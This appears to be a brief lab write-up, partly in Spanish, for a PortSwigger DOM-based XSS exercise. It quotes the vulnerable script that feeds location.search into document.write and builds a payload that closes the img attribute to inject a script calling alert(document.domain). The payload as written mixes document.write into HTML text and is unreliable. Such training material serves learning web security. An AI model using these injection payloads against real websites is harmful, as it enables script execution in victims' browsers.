DOM XSS in document.write sink using source location.search

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink APPRENTICE LAB Not solved

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

---

https://siunam321.github.io/ctf/portswigger-labs/Cross-Site-Scripting/xss-3/ Al realizra un uso del input box de busqueda, aparece un script de js:

<script> function trackSearch(query) { document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">'); } var query = (new URLSearchParams(window.location.search)).get('search'); if(query) { trackSearch(query); } </script>

• El query es pasado directamente a document.write sin sanitizacion, codificacion o scapings

 
'<img src="/resources/images/tracker.gif?searchTerms='+query+'">'
 
 
'">document.write("<script>alert(document.domain)</script>");
 
 
 '<img src="/resources/images/tracker.gif?searchTerms='+'">document.write("<script>alert(document.domain)</script>");+'">'